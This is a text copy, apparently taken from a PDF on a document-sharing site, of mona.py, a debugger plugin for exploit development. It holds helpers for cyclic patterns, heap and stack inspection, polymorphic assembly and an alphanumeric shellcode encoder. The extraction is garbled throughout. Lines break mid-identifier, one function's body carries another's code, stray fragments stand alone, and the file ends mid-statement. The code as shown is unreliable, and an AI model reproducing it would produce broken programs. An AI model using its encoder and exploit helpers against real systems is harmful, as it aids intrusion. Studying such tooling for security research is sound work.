Академический Документы
Профессиональный Документы
Культура Документы
U{Corelan<https://www.corelan.be>}
Copyright (c) 2011-2013, Peter Van Eeckhoutte - Corelan GCV
All rights reserved.
Redistribution and use in source and binary forms, with or without
modification, are permitted provided that the following conditions are met:
* Redistributions of source code must retain the above copyright
notice, this list of conditions and the following disclaimer.
* Redistributions in binary form must reproduce the above copyright
notice, this list of conditions and the following disclaimer in the
documentation and/or other materials provided with the distribution.
* Neither the name of Corelan nor the
names of its contributors may be used to endorse or promote products
derived from this software without specific prior written permission.
THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND
ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED
WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
DISCLAIMED. IN NO EVENT SHALL PETER VAN EECKHOUTTE OR CORELAN GCV BE LIABLE FOR
ANY
DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES
(INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES;
LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND
ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
(INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS
SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
$Revision: 529 $
$Id: mona.py 529 2014-09-14 09:01:26Z corelanc0d3r $
"""
__VERSION__ = '2.0'
__REV__ = filter(str.isdigit, '$Revision: 529 $')
__IMM__ = '1.8'
__DEBUGGERAPP__ = ''
arch = 32
win7mode = False
# try:
#
import debugger
# except:
#
pass
try:
import immlib as dbglib
from immlib import LogBpHook
__DEBUGGERAPP__ = "Immunity Debugger"
except:
try:
from pykd import *
import windbglib as dbglib
from windbglib import LogBpHook
dbglib.checkVersion()
arch = dbglib.getArchitecture()
__DEBUGGERAPP__ = "WinDBG"
except SystemExit, e:
print "-Exit."
import sys
sys.exit(e)
except Exception:
#import traceback
print "Do not run this script outside of a debugger !"
#print traceback.format_exc()
import sys
exit(1)
import getopt
try:
#import debugtypes
#import libdatatype
from immutils import *
except:
pass
import
import
import
import
import
import
import
import
import
import
import
import
import
import
import
os
re
sys
types
random
shutil
struct
string
types
urllib
inspect
datetime
binascii
itertools
traceback
FreeListBitmap = {}
memProtConstants = {}
CritCache={}
vtableCache={}
stacklistCache={}
segmentlistCache={}
VACache={}
ptr_counter = 0
ptr_to_get = -1
silent = False
ignoremodules = False
noheader = False
dbg = dbglib.Debugger()
if __DEBUGGERAPP__ == "WinDBG":
if dbglib.getSymbolPath().replace(" ","") == "":
dbg.log("")
dbg.log("** Warning, no symbol path set ! ** ",highlight=1)
sympath = "srv*c:\symbols*http://msdl.microsoft.com/download/sym
bols"
dbg.log(" I'll set the symbol path to %s" % sympath)
dbglib.setSymbolPath(sympath)
dbg.log(" Symbol path set, now reloading symbols...")
dbg.nativeCommand(".reload")
dbg.log(" All set. Please restart WinDBG.")
dbg.log("")
osver = dbg.getOsVersion()
if osver in ["6", "7", "8", "vista", "win7", "2008server", "win8"]:
win7mode = True
#---------------------------------------#
# Populate constants
#
#---------------------------------------#
memProtConstants["X"] = ["PAGE_EXECUTE",0x10]
memProtConstants["RX"] = ["PAGE_EXECUTE_READ",0x20]
memProtConstants["RWX"] = ["PAGE_EXECUTE_READWRITE",0x40]
memProtConstants["N"] = ["PAGE_NOACCESS",0x1]
memProtConstants["R"] = ["PAGE_READONLY",0x2]
memProtConstants["RW"] = ["PAGE_READWRITE",0x4]
memProtConstants["GUARD"] = ["PAGE_GUARD",0x100]
memProtConstants["NOCACHE"] = ["PAGE_NOCACHE",0x200]
memProtConstants["WC"] = ["PAGE_WRITECOMBINE",0x400]
#---------------------------------------#
# Utility functions
#
#---------------------------------------#
def toHex(n):
"""
Converts a numeric value to hex (pointer to hex)
Arguments:
n - the value to convert
Return:
A string, representing the value in hex (8 characters long)
"""
if arch == 32:
return "%08x" % n
if arch == 64:
return "%016x" % n
def sanitize_module_name(modname):
"""
Sanitizes a module name so it can be used as a variable
"""
return modname.replace(".", "_")
def DwordToBits(srcDword):
"""
Converts a dword into an array of 32 bits
"""
bit_array = []
h_str = "%08x" % srcDword
h_size = len(h_str) * 4
bits = (bin(int(h_str,16))[2:]).zfill(h_size)[::-1]
for bit in bits:
bit_array.append(int(bit))
return bit_array
def multiSplit(thisarg,delimchars):
""" splits a string into an array, based on provided delimeters"""
splitparts = []
thispart = ""
for c in str(thisarg):
if c in delimchars:
thispart = thispart.replace(" ","")
if thispart != "":
splitparts.append(thispart)
splitparts.append(c)
thispart = ""
else:
thispart += c
if thispart != "":
splitparts.append(thispart)
return splitparts
def getAddyArg(argaddy):
"""
Tries to extract an address from a specified argument
addresses and values will be considered hex
(unless you specify 0n before a value)
registers are allowed too
"""
findaddy = 0
addyok = True
addyparts = []
addypartsint = []
delimchars = ["-","+","*","/","(",")","&","|",">","<"]
regs = dbg.getRegs()
thispart = ""
for c in str(argaddy):
if c in delimchars:
thispart = thispart.replace(" ","")
if thispart != "":
addyparts.append(thispart)
addyparts.append(c)
thispart = ""
else:
thispart += c
if thispart != "":
addyparts.append(thispart)
for part in addyparts:
cleaned = part
if not part in delimchars:
for x in delimchars:
cleaned = cleaned.replace(x,"")
if cleaned.startswith("[") and cleaned.endswith("]"):
partval,partok = getIntForPart(cleaned.replace("
[","").replace("]",""))
if partok:
try:
partval = struct.unpack('<L',dbg
.readMemory(partval,4))[0]
except:
partval = 0
partok = False
break
else:
partval,partok = getIntForPart(cleaned)
if not partok:
break
addypartsint.append(partval)
else:
addypartsint.append(part)
if not partok:
break
if not partok:
addyok = False
findval = 0
else:
calcstr = "".join(str(x) for x in addypartsint)
try:
findval = eval(calcstr)
addyok = True
except:
findval = 0
addyok = False
return findval, addyok
def getIntForPart(part):
"""
Returns the int value associated with an input string
The input string can be a hex value, decimal value, register, modulename
, or modulee!functionname
"""
partclean = part
partclean = partclean.upper()
addyok = True
partval = 0
regs = dbg.getRegs()
if partclean in regs:
partval = regs[partclean]
else:
if partclean.lower().startswith("0n"):
partclean = partclean.lower().replace("0n","")
try:
partval = int(partclean)
except:
addyok = False
partval = 0
else:
try:
if not "0x" in partclean.lower():
partclean = "0x" + partclean
partval = int(partclean,16)
except:
addyok = False
partval = 0
if not addyok:
if not "!" in part:
m = getModuleObj(part)
if not m == None:
partval = m.moduleBase
addyok = True
else:
modparts = part.split("!")
modname = modparts[0]
funcname = modparts[1]
m = getFunctionAddress(modname,funcname)
if m > 0:
partval = m
addyok = True
return partval,addyok
def getFunctionAddress(modname,funcname):
"""
Returns the addres of the function inside a given module
Relies on EAT data
Returns 0 if nothing found
"""
funcaddy = 0
m = getModuleObj(modname)
if not m == None:
eatlist = m.getEAT()
for f in eatlist:
if funcname == eatlist[f]:
return f
for f in eatlist:
if funcname.lower() == eatlist[f].lower():
return f
return funcaddy
def printDataArray(data,charsperline=16,prefix=""):
maxlen = len(data)
charcnt = 0
charlinecnt = 0
linecnt = 0
thisline = prefix
lineprefix = "%04d - %04d " % (charcnt,charcnt+charsperline-1)
thisline += lineprefix
while charcnt < maxlen:
thisline += data[charcnt:charcnt+1]
charlinecnt += 1
charcnt += 1
if charlinecnt == charsperline or charlinecnt == maxlen:
dbg.log(thisline)
thisline = prefix
lineprefix = "%04d - %04d " % (charcnt,charcnt+charsperl
ine-1)
thisline += lineprefix
charlinecnt = 0
return None
def find_all_copies(tofind,data):
"""
Finds all occurences of a string in a longer string
Arguments:
tofind - the string to find
data - contains the data to look for all occurences of 'tofind'
Return:
An array with all locations
"""
position = 0
positions = []
searchstringlen = len(tofind)
maxlen = len(data)
while position < maxlen:
position = data.find(tofind,position)
if position == -1:
break
positions.append(position)
position += searchstringlen
return positions
def getAllStringOffsets(data,minlen,offsetstart = 0):
asciistrings = {}
for match in re.finditer("(([\x20-\x7e]){%d,})" % minlen,data):
thisloc = match.start() + offsetstart
thisend = match.end() + offsetstart
asciistrings[thisloc] = thisend
return asciistrings
def getAllUnicodeStringOffsets(data,minlen,offsetstart = 0):
unicodestrings = {}
for match in re.finditer("((\x00[\x20-\x7e]){%d,})" % (minlen*2),data):
unicodestrings[offsetstart + match.start()] = (offsetstart + mat
ch.end())
return unicodestrings
def stripExtension(fullname):
"""
Arguments:
pattern - A string representing the bytes to convert
Return:
the bytes
"""
pattern = pattern.replace("\\x", "")
pattern = pattern.replace("\"", "")
pattern = pattern.replace("\'", "")
return ''.join([binascii.a2b_hex(i+j) for i,j in zip(pattern[0::2],patte
rn[1::2])])
def getVariantType(typenr):
varianttypes = {}
varianttypes[0x0] = "VT_EMPTY"
varianttypes[0x1] = "VT_NULL"
varianttypes[0x2] = "VT_I2"
varianttypes[0x3] = "VT_I4"
varianttypes[0x4] = "VT_R4"
varianttypes[0x5] = "VT_R8"
varianttypes[0x6] = "VT_CY"
varianttypes[0x7] = "VT_DATE"
varianttypes[0x8] = "VT_BSTR"
varianttypes[0x9] = "VT_DISPATCH"
varianttypes[0xA] = "VT_ERROR"
varianttypes[0xB] = "VT_BOOL"
varianttypes[0xC] = "VT_VARIANT"
varianttypes[0xD] = "VT_UNKNOWN"
varianttypes[0xE] = "VT_DECIMAL"
varianttypes[0x10] = "VT_I1"
varianttypes[0x11] = "VT_UI1"
varianttypes[0x12] = "VT_UI2"
varianttypes[0x13] = "VT_UI4"
varianttypes[0x14] = "VT_I8"
varianttypes[0x15] = "VT_UI8"
varianttypes[0x16] = "VT_INT"
varianttypes[0x17] = "VT_UINT"
varianttypes[0x18] = "VT_VOID"
varianttypes[0x19] = "VT_HRESULT"
varianttypes[0x1A] = "VT_PTR"
varianttypes[0x1B] = "VT_SAFEARRAY"
varianttypes[0x1C] = "VT_CARRAY"
varianttypes[0x1D] = "VT_USERDEFINED"
varianttypes[0x1E] = "VT_LPSTR"
varianttypes[0x1F] = "VT_LPWSTR"
varianttypes[0x24] = "VT_RECORD"
varianttypes[0x25] = "VT_INT_PTR"
varianttypes[0x26] = "VT_UINT_PTR"
varianttypes[0x2000] = "VT_ARRAY"
varianttypes[0x4000] = "VT_BYREF"
if typenr in varianttypes:
return varianttypes[typenr]
else:
return ""
def bin2hex(binbytes):
"""
Converts a binary string to a string of space-separated hexadecimal byte
s.
"""
return ' '.join('%02x' % ord(c) for c in binbytes)
def bin2hexstr(binbytes):
"""
Converts bytes to a string with hex
Arguments:
binbytes - the input to convert to hex
Return :
string with hex
"""
return ''.join('\\x%02x' % ord(c) for c in binbytes)
def str2js(inputstring):
"""
Converts a string to an unicode escaped javascript string
Arguments:
inputstring - the input string to convert
Return :
string in unicode escaped javascript format
"""
length = len(inputstring)
if length % 2 == 1:
jsmsg = "Warning : odd size given, js pattern will be truncated
to " + str(length - 1) + " bytes, it's better use an even size\n"
if not silent:
dbg.logLines(jsmsg,highlight=1)
toreturn=""
for thismatch in re.compile("..").findall(inputstring):
thisunibyte = ""
for thisbyte in thismatch:
thisunibyte = "%02x" % ord(thisbyte) + thisunibyte
toreturn += "%u" + thisunibyte
return toreturn
def opcodesToHex(opcodes):
"""
Converts pairs of chars (opcode bytes) to hex string notation
Arguments :
opcodes : pairs of chars
Return :
string with hex
"""
toreturn = []
opcodes = opcodes.replace(" ","")
for cnt in range(0, len(opcodes), 2):
thisbyte = opcodes[cnt:cnt+2]
toreturn.append("\\x" + thisbyte)
toreturn = ''.join(toreturn)
return toreturn
def rmLeading(input,toremove,toignore=""):
"""
Removes leading characters from an input string
Arguments:
input - the input string
toremove - the character to remove from the begin of the string
toignore - ignore this character
Return:
the input string without the leading character(s)
"""
newstring = ""
cnt = 0
while cnt < len(input):
if input[cnt] != toremove and input[cnt] != toignore:
break
cnt += 1
newstring = input[cnt:]
return newstring
def getVersionInfo(filename):
"""Retrieves version and revision numbers from a mona file
Arguments : filename
Return :
version - string with version (or empty if not found)
revision - string with revision (or empty if not found)
"""
file = open(filename,"rb")
content = file.readlines()
file.close()
revision = ""
version = ""
for line in content:
if line.startswith("$Revision"):
parts = line.split(" ")
if len(parts) > 1:
revision = parts[1].replace("$","")
if line.startswith("__VERSION__"):
parts = line.split("=")
if len(parts) > 1:
version = parts[1].strip()
return version,revision
def toniceHex(data,size):
"""
Converts a series of bytes into a hex string,
newline after 'size' nr of bytes
Arguments :
data - the bytes to convert
size - the number of bytes to show per linecache
Return :
a multiline string
"""
flip = 1
thisline = "\""
block = ""
for cnt in xrange(len(data)):
thisline += "\\x%s" % toHexByte(ord(data[cnt]))
if (flip == size) or (cnt == len(data)-1):
thisline += "\""
flip = 0
block += thisline
block += "\n"
thisline = "\""
cnt += 1
flip += 1
return block.lower()
def hexStrToInt(inputstr):
"""
Converts a string with hex bytes to a numeric value
Arguments:
inputstr - A string representing the bytes to convert. Example : 4141414
1
Return:
the numeric value
"""
valtoreturn = 0
try:
valtoreturn = int(inputstr, 16)
except:
valtoreturn = 0
return valtoreturn
def to_int(inputstr):
"""
Converts a string to int, whether it's hex or decimal
Arguments:
inputstr - A string representation of a number. Example: 0xFFFF, 234
5
Return:
the numeric value
"""
if str(inputstr).lower().startswith("0x"):
return hexStrToInt(inputstr)
else:
return int(inputstr)
def toSize(toPad,size):
"""
Adds spaces to a string until the string reaches a certain length
Arguments:
input - A string
size - the destination size of the string
Return:
the expanded string of length <size>
"""
padded = toPad + " " * (size - len(toPad))
return padded.ljust(size," ")
def toUnicode(input):
"""
Converts a series of bytes to unicode (UTF-16) bytes
Arguments :
input - the source bytes
Return:
the unicode expanded version of the input
"""
unicodebytes = ""
# try/except, just in case .encode bails out
try:
unicodebytes = input.encode('UTF-16LE')
except:
inputlst = list(input)
for inputchar in inputlst:
unicodebytes += inputchar + '\x00'
return unicodebytes
def toJavaScript(input):
"""
Extracts pointers from lines of text
and returns a javascript friendly version
"""
alllines = input.split("\n")
javascriptversion = ""
allbytes = ""
for eachline in alllines:
thisline = eachline.replace("\t","").lower().strip()
if not(thisline.startswith("#")):
if thisline.startswith("0x"):
theptr = thisline.split(",")[0].replace("0x","")
# change order to unescape format
if arch == 32:
ptrstr = ""
byte1 = theptr[0] + theptr[1]
ptrstr = "\\x" + byte1
byte2 = theptr[2] + theptr[3]
ptrstr = "\\x" + byte2 + ptrstr
try:
byte3 = theptr[4] + theptr[5]
ptrstr = "\\x" + byte3 + ptrstr
except:
pass
try:
byte4 = theptr[6] + theptr[7]
ptrstr = "\\x" + byte4 + ptrstr
except:
pass
allbytes += hex2bin(ptrstr)
if arch == 64:
byte1 = theptr[0] + theptr[1]
byte2 = theptr[2] + theptr[3]
byte3 = theptr[4] + theptr[5]
byte4 = theptr[6] + theptr[7]
byte5 = theptr[8] + theptr[9]
byte6 = theptr[10] + theptr[11]
byte7 = theptr[12] + theptr[13]
byte8 = theptr[14] + theptr[15]
allbytes += hex2bin("\\x" + byte8 + "\\x
" + byte7 + "\\x" + byte6 + "\\x" + byte5)
allbytes += hex2bin("\\x" + byte4 + "\\x
" + byte3 + "\\x" + byte2 + "\\x" + byte1)
javascriptversion = str2js(allbytes)
return javascriptversion
def isReg(reg):
"""
Checks if a given string is a valid reg
Argument :
reg - the register to check
Return:
Boolean
"""
regs = []
if arch == 32:
regs=["eax","ebx","ecx","edx","esi","edi","ebp","esp"]
if arch == 64:
regs=["rax","rbx","rcx","rdx","rsi","rdi","rbp","rsp", "r8", "r9
", "r10", "r11", "r12", "r13", "r14", "r15"]
return str(reg).lower() in regs
def isAddress(string):
"""
Check if a string is an address / consists of hex chars only
Arguments:
string - the string to check
Return:
Boolean - True if the address string only contains hex bytes
"""
string = string.replace("\\x","")
if len(string) > 16:
return False
for char in string:
if char.upper() not in ["A","B","C","D","E","F","1","2","3","4",
"5","6","7","8","9","0"]:
return False
return True
def isHexValue(string):
"""
Check if a string is a hex value / consists of hex chars only (and - )
Arguments:
string - the string to check
Return:
Boolean - True if the address string only contains hex bytes or - sign
"""
string = string.replace("\\x","")
string = string.replace("0x","")
if len(string) > 16:
return False
for char in string:
if char.upper() not in ["A","B","C","D","E","F","1","2","3","4",
"5","6","7","8","9","0","-"]:
return False
return True
def Poly_ReturnDW(value):
I = random.randint(1, 3)
if I == 1:
if random.randint(1, 2) == 1:
return dbg.assemble( "SUB EAX, EAX\n ADD EAX, 0x%08x" %
value )
else:
return dbg.assemble( "SUB EAX, EAX\n ADD EAX, -0x%08x" %
value )
if I == 2:
return dbg.assemble( "PUSH 0x%08x\n POP EAX\n" % value )
if I == 3:
if random.randint(1, 2) == 1:
return dbg.assemble( "XCHG EAX, EDI\n DB 0xBF\n DD 0x%08
x\n XCHG EAX, EDI" % value )
else:
return dbg.assemble( "XCHG EAX, EDI\n MOV EDI, 0x%08x\n
XCHG EAX, EDI" % value )
return
def Poly_Return0():
I = random.randint(1, 4)
if I == 1:
return dbg.assemble( "SUB EAX, EAX" )
if I == 2:
if random.randint(1, 2) == 1:
return dbg.assemble( "PUSH 0\n POP EAX" )
else:
return dbg.assemble( "DB 0x6A, 0x00\n POP EAX" )
if I == 3:
return dbg.assemble( "XCHG EAX, EDI\n SUB EDI, EDI\n XCHG EAX, E
DI" )
if I == 4:
return Poly_ReturnDW(0)
return
def addrToInt(string):
"""
Convert a textual address to an integer
Arguments:
string - the address
Return:
int - the address value
"""
string = string.replace("\\x","")
return hexStrToInt(string)
def splitAddress(address):
"""
Splits aa dword/qdword into individual bytes (4 or 8 bytes)
Arguments:
address - The string to split
Return:
4 or 8 bytes
"""
if arch == 32:
byte1 = address >> 24 & 0xFF
byte2 = address >> 16 & 0xFF
byte3 = address >> 8 & 0xFF
byte4 = address & 0xFF
return byte1,byte2,byte3,byte4
if arch == 64:
byte1 = address >> 56 & 0xFF
byte2 = address >> 48 & 0xFF
byte3 = address >> 40 & 0xFF
byte4 = address >> 32 & 0xFF
byte5 = address >> 24 & 0xFF
byte6 = address >> 16 & 0xFF
byte7 = address >> 8 & 0xFF
byte8 = address & 0xFF
return byte1,byte2,byte3,byte4,byte5,byte6,byte7,byte8
def bytesInRange(address, range):
"""
Checks if all bytes of an address are in a range
Arguments:
address - the address to check
range - a range object containing the values all bytes need to comply wi
th
Return:
a boolean
"""
if arch == 32:
byte1,byte2,byte3,byte4 = splitAddress(address)
# if the first is a null we keep the address anyway
if not (byte1 == 0 or byte1 in range):
return False
elif not byte2 in range:
return False
elif not byte3 in range:
return False
elif not byte4 in range:
return False
if arch == 64:
byte1,byte2,byte3,byte4,byte5,byte6,byte7,byte8 = splitAddress(a
ddress)
# if the first is a null we keep the address anyway
if not (byte1 == 0 or byte1 in range):
return False
elif not byte2 in range:
return False
elif not byte3 in range:
return False
elif not byte4 in range:
return False
elif not byte5 in range:
return False
elif not byte6 in range:
return False
elif not byte7 in range:
return False
elif not byte8 in range:
return False
return True
def readString(address):
"""
Reads a string from the given address until it reaches a null bytes
Arguments:
address - the base address (integer value)
Return:
the string
"""
toreturn = dbg.readString(address)
return toreturn
def getSegmentEnd(segmentstart):
os = dbg.getOsVersion()
offset = 0x24
if win7mode:
offset = 0x28
segmentend = struct.unpack('<L',dbg.readMemory(segmentstart + offset,4))
[0]
return segmentend
def getHeapFlag(flag):
flags = {
0x0 : "Free",
0x1 : "Busy",
0x2 : "Extra present",
0x4 : "Fill pattern",
0x8 : "Virtallocd",
0x10 : "Last",
0x20 : "FFU-1",
0x40 : "FFU-2",
0x80 : "No Coalesce"
}
if win7mode:
flags[0x8] = "Internal"
if flag in flags:
return flags[flag]
else:
# maybe it's a combination of flags
values = [0x80, 0x40, 0x20, 0x10, 0x8, 0x4, 0x2, 0x1]
flagtext = []
for val in values:
if (flag - val) >= 0:
flagtext.append(flags[val])
flag -= val
if len(flagtext) == 0:
flagtext = "Unknown"
else:
flagtext = ','.join(flagtext)
return flagtext
def decodeHeapHeader(headeraddress,headersize,key):
# get header and decode first 4 bytes
blockcnt = 0
fullheaderbytes = ""
decodedheader = ""
fullheaderbytes = ""
while blockcnt < headersize:
header = struct.unpack('<L',dbg.readMemory(headeraddress+blockcn
t,4))[0]
if blockcnt == 0:
decodedheader = header ^ key
else:
decodedheader = header
headerbytes = "%08x" % decodedheader
bytecnt = 7
while bytecnt >= 0:
fullheaderbytes = fullheaderbytes + headerbytes[bytecnt1] + headerbytes[bytecnt]
bytecnt -= 2
blockcnt += 4
return hex2bin(fullheaderbytes)
def walkSegment(FirstEntry,LastValidEntry,heapbase):
"""
Finds all chunks in a given segment
Arguments : Start and End of segment, and heapbase
Returns a dictionary of MnChunk objects
Key : chunk pointer
"""
mHeap = MnHeap(heapbase)
mSegment = MnSegment(heapbase,FirstEntry,LastValidEntry)
return mSegment.getChunks()
def getStacks():
"""
Retrieves all stacks from all threads in the current application
Arguments:
None
Return:
a dictionary, with key = threadID. Each entry contains an array with bas
e and top of the stack
"""
stacks = {}
global stacklistCache
if len(stacklistCache) > 0:
return stacklistCache
else:
threads = dbg.getAllThreads()
for thread in threads:
teb = thread.getTEB()
tid = thread.getId()
topStack = 0
baseStack = 0
if arch == 32:
topStack = struct.unpack('<L',dbg.readMemory(teb
+4,4))[0]
baseStack = struct.unpack('<L',dbg.readMemory(te
b+8,4))[0]
if arch == 64:
topStack = struct.unpack('<Q',dbg.readMemory(teb
+8,8))[0]
baseStack = struct.unpack('<Q',dbg.readMemory(te
b+16,8))[0]
stacks[tid] = [baseStack,topStack]
stacklistCache = stacks
return stacks
def meetsAccessLevel(page,accessLevel):
"""
Checks if a given page meets a given access level
Arguments:
page - a page object
accesslevel - a string containing one of the following access levels :
R,W,X,RW,RX,WR,WX,RWX or *
Return:
a boolean
"""
if "*" in accessLevel:
return True
pageAccess = page.getAccess(human=True)
if "-R" in accessLevel:
if "READ" in pageAccess:
return False
if "-W" in accessLevel:
if "WRITE" in pageAccess:
return False
if "-X" in accessLevel:
if "EXECUTE" in pageAccess:
return False
if "R" in accessLevel:
if not "READ" in pageAccess:
return False
if "W" in accessLevel:
if not "WRITE" in pageAccess:
return False
if "X" in accessLevel:
if not "EXECUTE" in pageAccess:
return False
return True
def splitToPtrInstr(input):
"""
Splits a line (retrieved from a mona output file) into a pointer and a s
tring with the instructions in the file
Arguments:
input : the line containing pointer and instruction
Return:
a pointer - (integer value)
a string - instruction
if the input does not contain a valid line, pointer will be set to -1 an
d string will be empty
"""
thispointer = -1
thisinstruction = ""
split1 = re.compile(" ")
split2 = re.compile(":")
split3 = re.compile("\*\*")
thisline = input.lower()
if thisline.startswith("0x"):
#get the pointer
parts = split1.split(input)
part1 = parts[0].replace("\n","").replace("\r","")
if len(part1) != 10:
return thispointer,thisinstruction
else:
thispointer = hexStrToInt(part1)
if len(parts) > 1:
subparts = split2.split(input)
subpartsall = ""
if len(subparts) > 1:
cnt = 1
while cnt < len(subparts):
subpartsall += subparts[cnt] + "
:"
cnt +=1
subsubparts = split3.split(subpartsall)
thisinstruction = subsubparts[0].strip()
return thispointer,thisinstruction
else:
return thispointer,thisinstruction
def getNrOfDictElements(thisdict):
"""
Will get the total number of entries in a given dictionary
Argument: the source dictionary
Output : an integer
"""
total = 0
for dicttype in thisdict:
for dictval in thisdict[dicttype]:
total += 1
return total
def getModuleObj(modname):
"""
Will return a module object if the provided module name exists
Will perform a case sensitive search first,
and then a case insensitive search in case nothing was found
"""
# Method 1
mod = dbg.getModule(modname)
if mod is not None:
return MnModule(modname)
# Method 2
suffixes = ["",".exe",".dll"]
for suf in suffixes:
modname_search = modname + suf
allmod = dbg.getAllModules()
for tmod_s in allmod:
tmod = dbg.getModule(tmod_s)
if not tmod == None:
if tmod.getName() == modname_search:
return MnModule(tmod_s)
imname = dbg.getImageNameForModule(tmod.getName(
))
if not imname == None:
if imname == modname_search:
return MnModule(tmod)
# Method 3
for tmod_s in allmod:
tmod = dbg.getModule(tmod_s)
if not tmod == None:
if tmod.getName().lower() == modname_search.lowe
r():
return MnModule(tmod_s)
imname = dbg.getImageNameForModule(tmod.getName(
).lower())
if not imname == None:
if imname.lower() == modname_search.lowe
r():
return MnModule(tmod)
# Method 4
for tmod_s in allmod:
tmod = dbg.getModule(tmod_s)
if not tmod == None:
if tmod_s.lower() == modname_search.lower():
return MnModule(tmod_s)
return None
def getPatternLength(startptr,type="normal",args={}):
"""
Gets length of a cyclic pattern, starting from a given pointer
Arguments:
startptr - the start pointer (integer value)
type - optional string, indicating type of pattern :
"normal" : normal pattern
"unicode" : unicode pattern
"upper" : uppercase pattern
"lower" : lowercase pattern
"""
patternsize = 0
endofpattern = False
global silent
oldsilent=silent
silent=True
fullpattern = createPattern(200000,args)
silent=oldsilent
if type == "upper":
fullpattern = fullpattern.upper()
if type == "lower":
fullpattern = fullpattern.lower()
#if type == "unicode":
#
fullpattern = toUnicode(fullpattern)
if type in ["normal","upper","lower","unicode"]:
previousloc = -1
while not endofpattern and patternsize <= len(fullpattern):
sizemeter=dbg.readMemory(startptr+patternsize,4)
if type == "unicode":
sizemeter=dbg.readMemory(startptr+patternsize,8)
sizemeter = sizemeter.replace('\x00','')
else:
sizemeter=dbg.readMemory(startptr+patternsize,4)
if len(sizemeter) == 4:
thisloc = fullpattern.find(sizemeter)
if thisloc < 0 or thisloc <= previousloc:
endofpattern = True
else:
patternsize += 4
previousloc = thisloc
else:
return patternsize
#maybe this is not the end yet
patternsize -= 8
endofpattern = False
while not endofpattern and patternsize <= len(fullpattern):
sizemeter=dbg.readMemory(startptr+patternsize,4)
if type == "unicode":
sizemeter=dbg.readMemory(startptr+patternsize,8)
sizemeter = sizemeter.replace('\x00','')
else:
sizemeter=dbg.readMemory(startptr+patternsize,4)
if fullpattern.find(sizemeter) < 0:
patternsize += 3
endofpattern = True
else:
patternsize += 1
if type == "unicode":
patternsize = (patternsize / 2) + 1
return patternsize
def getAPointer(modules,criteria,accesslevel):
"""
Gets the first pointer from one of the supplied module that meets a set
of criteria
Arguments:
modules - array with module names
criteria - dictionary describing the criteria the pointer needs to compl
y with
accesslevel - the required access level
Return:
a pointer (integer value) or 0 if nothing was found
"""
pointer = 0
dbg.getMemoryPages()
for a in dbg.MemoryPages.keys():
page_start = a
page_size = dbg.MemoryPages[a].getSize()
page_end = a + page_size
#page in one of the modules ?
if meetsAccessLevel(dbg.MemoryPages[a],accesslevel):
pageptr = MnPointer(a)
thismodulename = pageptr.belongsTo()
if thismodulename != "" and thismodulename in mo
dules:
thismod = MnModule(thismodulename)
start = thismod.moduleBase
end = thismod.moduleTop
random.seed()
for cnt in xrange(page_size+1):
#randomize the value
theoffset = random.randint(0,pag
e_size)
thispointer = MnPointer(page_sta
rt + theoffset)
if meetsCriteria(thispointer,cri
teria):
return page_start + theo
ffset
return pointer
def haveRepetition(string, pos):
first = string[pos]
MIN_REPETITION = 3
if len(string) - pos > MIN_REPETITION:
count = 1
while ( count < MIN_REPETITION and string[pos+count] == first):
count += 1
if count >= MIN_REPETITION:
return True
return False
def isAsciiString(data):
"""
Check if a given string only contains ascii characters
"""
= "
+= "
+= "
+= "
+= "
"""
Class to call commands, show usage and parse arguments
"""
def __init__(self, name, description, usage, parseProc, alias=""):
self.name = name
self.description = description
self.usage = usage
self.parseProc = parseProc
self.alias = alias
#---------------------------------------#
# Class to encode bytes
#
#---------------------------------------#
class MnEncoder:
"""
Class to encode bytes
"""
def __init__(self,bytestoencode):
self.origbytestoencode = bytestoencode
self.bytestoencode = bytestoencode
def encodeAlphaNum(self,badchars = []):
encodedbytes = {}
if not silent:
dbg.log("[+] Using alphanum encoder")
dbg.log("[+] Received %d bytes to encode" % len(self.ori
gbytestoencode))
dbg.log("[+] Nr of bad chars: %d" % len(badchars))
# first, check if there are no bad char conflicts
nobadchars = "\x25\x2a\x2d\x31\x32\x35\x4a\x4d\x4e\x50\x55"
badbadchars = False
for b in badchars:
if b in nobadchars:
dbg.log("*** Error: byte \\x%s cannot be a bad c
har with this encoder" % bin2hex(b))
badbadchars = True
if badbadchars:
return {}
# if all is well, explode the input to a multiple of 4
while True:
moduloresult = len(self.bytestoencode) % 4
if moduloresult == 0:
break
else:
self.bytestoencode += '\x90'
if not len(self.bytestoencode) == len(self.origbytestoencode):
if not silent:
dbg.log("[+] Added %d nops to make length of inp
ut a multiple of 4" % (len(self.bytestoencode) - len(self.origbytestoencode)))
# break it down into chunks of 4 bytes
toencodearray = []
toencodearray = [self.bytestoencode[max(i-4,0):i] for i in range
(len(self.bytestoencode), 0, -4)][::-1]
blockcnt = 1
encodedline = 0
# we have to push the blocks in reverse order
blockcnt = len(toencodearray)
nrblocks = len(toencodearray)
while blockcnt > 0:
if not silent:
dbg.log("[+] Processing block %d/%d" % (blockcnt
,nrblocks))
encodedbytes[encodedline] = ["\x25\x4a\x4d\x4e\x55","AND
EAX,0x554E4D4A"]
encodedline += 1
encodedbytes[encodedline] = ["\x25\x35\x32\x31\x2A","AND
EAX,0x2A313235"]
encodedline += 1
opcodes=[]
startpos=7
source = "".join(bin2hex(a) for a in toencodearray[block
cnt-1])
origbytes=source[startpos-7]+source[startpos-6]+source[s
tartpos-5]+source[startpos-4]+source[startpos-3]+source[startpos-2]+source[start
pos-1]+source[startpos]
reversebytes=origbytes[6]+origbytes[7]+origbytes[4]+orig
bytes[5]+origbytes[2]+origbytes[3]+origbytes[0]+origbytes[1]
revval=hexStrToInt(reversebytes)
twoval=4294967296-revval
twobytes=toHex(twoval)
if not silent:
dbg.log("Opcode to produce : %s%s %s%s %s%s %s%s
" % (origbytes[0],origbytes[1],origbytes[2],origbytes[3],origbytes[4],origbytes[
5],origbytes[6],origbytes[7]))
dbg.log("
